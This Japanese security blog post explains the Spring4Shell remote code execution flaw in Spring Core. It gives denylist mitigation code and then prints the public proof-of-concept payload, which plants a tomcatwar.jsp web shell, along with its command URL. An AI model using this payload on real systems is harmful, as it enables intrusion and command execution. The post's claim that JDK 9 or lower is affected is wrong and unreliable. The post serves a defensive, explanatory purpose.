Spring4Shellとは?Spring4Shell脆弱性の対応でデジタル庁の「GビズID」もサービスの提供を一時停止
Spring Coreに対するclass injectionのリモートから任意のコードが実行できる(RCEの)脆弱性です。
攻撃への転用可能なPoCも公開されていますが現状はゼロデイ状態になっておりパッチ(修正プログラム)では対応できません。
注意すべきはSpring4ShellとCVE-2022-22963は別物ということです(CVE-2022-22950も別物です)
Spring Cloud Functionの方の脆弱性はパッチもでおりアップデート対応で事足ります。
※CVEはまだ採番されたおらず、あやまった情報が錯綜しているのでしっかり見極めましょう。
※4月1日更新:CVE-2022-22965が採番されました。
【対策】JDKのバージョンが9以下の場合でSpring coreの利用がある場合が該当
パッチでは対策できませんがDataBinderを利用する方法が2つ紹介されています。
方法1プロジェクトパッケージの下に以下のグローバルクラスを作成する方法
import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
方法2または@InitBinderアノテーションを探してdataBinder.setDisallowedFieldsメソッドが単体で呼び出されている箇所で“class.*”, “Class.*”, “*.class.*”, “*.Class.*”を不許可リストdataBinder.setDisallowedFields();にセットする方法
※WAFでの防御はボディパラメータで送られた場合対応できないケースが想定されるため有効策とは言えません。
【解説】Spring4ShellのPoC解説とPoC の注意点
公開されているPoCはtomcatwar.jspというWeb Shell、つまりバックドアを設置するものです。
if(“j”.equals(request.getParameter(“pwd”)))となっているjを十分に強力なパスワードに書き換えることで一定の保護がかかるようになっていますが、そのまま利用した場合、
(サービスのURL)/tomcatwar.jsp?pwd=j&cmd=(任意のコマンド)
で誰でも攻撃可能になってしまうので、決してPoCをそのままで利用しないことが注意点です。むしろそれ狙いでtomcatwar.jsp?pwd=j&cmd=を直接叩いてくるかもしれません。
また、tomcat利用を前提としたコマンドになっているため環境に合わせて読みかえ参考にするというのが正しい姿勢です。
改めてPoCの核心部分を確認してみましょう。
class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=
赤字の部分はまずもって書き変わって悪用されます。
即座の改修やパッチ待ちを決めている場合、バックドアが簡単に設置できてしまうので、シグニチャ検知だけでなく改ざん検知も併せ多層防御的に対応されることをお勧めします。
以上です。